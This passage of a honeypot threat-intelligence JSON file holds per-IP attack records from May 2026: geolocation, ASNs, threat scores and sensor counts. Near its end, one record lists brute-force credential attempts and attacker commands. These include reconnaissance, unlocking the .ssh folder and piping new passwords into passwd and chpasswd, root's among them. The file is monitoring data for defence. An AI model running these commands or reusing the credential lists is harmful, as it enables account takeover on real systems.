        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.19.245.232": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:52:34.990Z",
      "last_seen": "2026-05-22T21:52:48.077Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 35819,
      "as_org": "Etihad Etisalat, a joint stock company",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:52:34.990000+00:00",
        "last_seen_30d": "2026-05-22T21:53:54.545000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.250.196.120": {
      "attack_count": 2,
      "first_seen": "2026-05-10T01:15:18.244Z",
      "last_seen": "2026-05-10T01:15:31.850Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Contagem",
      "asn": 26615,
      "as_org": "TIM SA",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:15:18.244000+00:00",
        "last_seen_30d": "2026-05-10T01:16:38.430000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.244.75.148": {
      "attack_count": 2,
      "first_seen": "2026-05-12T03:53:03.204Z",
      "last_seen": "2026-05-12T03:55:03.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tangerang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:53:03.204000+00:00",
        "last_seen_30d": "2026-05-12T04:05:56.755000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.129.27.88": {
      "attack_count": 2,
      "first_seen": "2026-05-18T06:42:11.763Z",
      "last_seen": "2026-05-18T06:42:27.978Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T06:42:11.763000+00:00",
        "last_seen_30d": "2026-05-18T06:43:41.038000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.147.27.62": {
      "attack_count": 2,
      "first_seen": "2026-05-17T21:24:07.638Z",
      "last_seen": "2026-05-17T21:24:20.887Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T21:24:07.638000+00:00",
        "last_seen_30d": "2026-05-17T21:25:30.914000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.149.99.241": {
      "attack_count": 2,
      "first_seen": "2026-05-19T21:51:06.196Z",
      "last_seen": "2026-05-19T21:51:18.780Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:51:06.196000+00:00",
        "last_seen_30d": "2026-05-19T21:52:20.945000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.154.34.116": {
      "attack_count": 2,
      "first_seen": "2026-05-24T07:48:49.367Z",
      "last_seen": "2026-05-24T07:49:02.599Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:48:49.367000+00:00",
        "last_seen_30d": "2026-05-24T07:50:09.009000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.194.178.220": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:18:22.319Z",
      "last_seen": "2026-05-23T01:18:34.984Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Andradina",
      "asn": 53080,
      "as_org": "VERO S.A",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:18:22.319000+00:00",
        "last_seen_30d": "2026-05-23T01:19:37.978000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.32.217.6": {
      "attack_count": 2,
      "first_seen": "2026-05-26T02:44:39.996Z",
      "last_seen": "2026-05-26T02:44:52.521Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Costa Rica",
      "country_code": "CR",
      "city": "San Jos\u00e9",
      "asn": 262197,
      "as_org": "MILLICOM CABLE COSTA RICA S.A.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T02:44:39.996000+00:00",
        "last_seen_30d": "2026-05-26T02:45:56.298000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.202.239.210": {
      "attack_count": 2,
      "first_seen": "2026-05-08T00:17:52.892Z",
      "last_seen": "2026-05-08T00:18:05.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexquitic de Carmona",
      "asn": 18734,
      "as_org": "Operbes, S.A. de C.V.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T00:17:52.892000+00:00",
        "last_seen_30d": "2026-05-08T00:19:15.917000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.43.149.130": {
      "attack_count": 2,
      "first_seen": "2026-05-02T01:40:22.339Z",
      "last_seen": "2026-05-02T01:40:35.970Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Homs",
      "asn": 29256,
      "as_org": "Syrian Telecommunication Private Closed Joint Stock Company",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 6.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:40:22.339000+00:00",
        "last_seen_30d": "2026-05-21T21:38:34.642000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.163.192.132": {
      "attack_count": 2,
      "first_seen": "2026-05-03T11:45:48.988Z",
      "last_seen": "2026-05-03T11:46:03.159Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Samarkand",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:45:48.988000+00:00",
        "last_seen_30d": "2026-05-03T11:47:04.646000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.255": {
      "attack_count": 2,
      "first_seen": "2026-05-10T21:41:11.582Z",
      "last_seen": "2026-05-10T21:41:11.978Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T06:22:43.520000+00:00",
        "last_seen_30d": "2026-05-31T20:59:34.199000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 38,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "205.210.31.129": {
      "attack_count": 2,
      "first_seen": "2026-05-13T15:58:05.840Z",
      "last_seen": "2026-05-13T15:58:36.682Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 15.0,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 18,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T06:15:32.400000+00:00",
        "last_seen_30d": "2026-05-24T00:10:00.330000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 5,
        "Cowrie": 2,
        "Wordpot": 2
      }
    },
    "218.72.23.198": {
      "attack_count": 2,
      "first_seen": "2026-05-14T08:37:44.771Z",
      "last_seen": "2026-05-14T08:37:57.966Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:37:44.771000+00:00",
        "last_seen_30d": "2026-05-14T08:39:01.157000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.72.77.197": {
      "attack_count": 2,
      "first_seen": "2026-05-20T23:08:48.170Z",
      "last_seen": "2026-05-20T23:09:01.779Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T23:08:48.170000+00:00",
        "last_seen_30d": "2026-05-20T23:10:06.146000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.181.22.217": {
      "attack_count": 2,
      "first_seen": "2026-05-16T20:30:41.231Z",
      "last_seen": "2026-05-16T20:30:55.230Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:30:41.231000+00:00",
        "last_seen_30d": "2026-05-16T20:31:57.025000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.100.21.157": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:08:47.552Z",
      "last_seen": "2026-05-13T21:09:00.826Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:08:47.552000+00:00",
        "last_seen_30d": "2026-05-13T21:10:10.690000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "44.220.185.218": {
      "attack_count": 2,
      "first_seen": "2026-05-07T17:01:03.095Z",
      "last_seen": "2026-05-07T17:01:08.096Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T17:01:03.095000+00:00",
        "last_seen_30d": "2026-05-07T17:02:10.138000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.84.60.43": {
      "attack_count": 2,
      "first_seen": "2026-05-05T13:00:22.031Z",
      "last_seen": "2026-05-05T13:00:34.974Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 134674,
      "as_org": "TATA PLAY BROADBAND PRIVATE LIMITED",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:00:22.031000+00:00",
        "last_seen_30d": "2026-05-05T13:01:43.146000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "69.249.115.172": {
      "attack_count": 2,
      "first_seen": "2026-05-16T22:25:49.812Z",
      "last_seen": "2026-05-16T22:26:02.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T22:25:49.812000+00:00",
        "last_seen_30d": "2026-05-16T22:27:11.445000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.197.92": {
      "attack_count": 2,
      "first_seen": "2026-05-11T21:23:29.274Z",
      "last_seen": "2026-05-11T21:24:00.053Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:23:29.274000+00:00",
        "last_seen_30d": "2026-05-11T21:25:02.842000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.219.40.172": {
      "attack_count": 2,
      "first_seen": "2026-05-30T02:42:34.283Z",
      "last_seen": "2026-05-30T02:43:05.073Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T02:42:34.283000+00:00",
        "last_seen_30d": "2026-05-30T02:44:14.871000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "84.54.71.201": {
      "attack_count": 2,
      "first_seen": "2026-05-06T17:26:43.531Z",
      "last_seen": "2026-05-06T17:26:56.592Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:26:43.531000+00:00",
        "last_seen_30d": "2026-05-06T17:27:59.182000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.23.120.94": {
      "attack_count": 2,
      "first_seen": "2026-05-10T22:42:29.243Z",
      "last_seen": "2026-05-10T22:42:29.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Saratov",
      "asn": 61971,
      "as_org": "SarLink LLC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:39:43.339000+00:00",
        "last_seen_30d": "2026-05-11T13:07:54.163000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "202.37.216.69": {
      "attack_count": 986,
      "first_seen": "2026-05-03T13:08:45.773Z",
      "last_seen": "2026-05-06T18:38:04.440Z",
      "sessions": 493,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 139808,
      "as_org": "Sony Cyber Net",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 1484,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:08:45.773000+00:00",
        "last_seen_30d": "2026-05-06T18:39:13.006000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 986,
        "Suricata": 498
      }
    },
    "31.208.22.146": {
      "attack_count": 668,
      "first_seen": "2026-05-05T19:37:25.337Z",
      "last_seen": "2026-05-19T02:28:06.838Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "user",
        "administrator",
        "bharath",
        "mysql",
        "mytest",
        "tempuser",
        "testing",
        "webadmin",
        "aamir",
        "ansible",
        "apiadmin",
        "claude",
        "damien",
        "deploy",
        "elasticsearch",
        "geo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx2024",
        "#admin123",
        "0123456789",
        "123",
        "12345",
        "123456+",
        "12345678",
        "123QWE123qwe",
        "123qwe!@#",
        "1qaz@WSX",
        "2welcome",
        "31415926",
        "3735566",
        "654321",
        "Admin@789",
        "a",
        "aamir",
        "abc-1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"3735566\\n8iW0DTpzqX3s\\n8iW0DTpzqX3s\\n\"|passwd",
        "echo \"bharath\\nmYqWdGrCnsOi\\nmYqWdGrCnsOi\\n\"|passwd",
        "echo \"mytest\\nkoiJiqfSvEkG\\nkoiJiqfSvEkG\\n\"|passwd",
        "echo \"root:JCoVR7oz4FUl\"|chpasswd|bash",
        "echo \"tempuser\\nBB2GeG2HnTfM\\nBB2GeG2HnTfM\\n\"|passwd",
        "echo \"webadmin\\nnmFrnTbB8IYv\\nnmFrnTbB8IYv\\n\"|passwd",
        "echo -e \"3735566\\n8iW0DTpzqX3s\\n8iW0DTpzqX3s\"|passwd|bash",
        "echo -e \"bharath\\nmYqWdGrCnsOi\\nmYqWdGrCnsOi\"|passwd|bash",
        "echo -e \"mytest\\nkoiJiqfSvEkG\\nkoiJiqfSvEkG\"|passwd|bash",
        "echo -e \"tempuser\\nBB2GeG2HnTfM\\nBB2GeG2HnTfM\"|passwd|bash",
        "echo -e \"webadmin\\nnmFrnTbB8IYv\\nnmFrnTbB8IYv\"|passwd|bash"
      ],
      "event_types": [
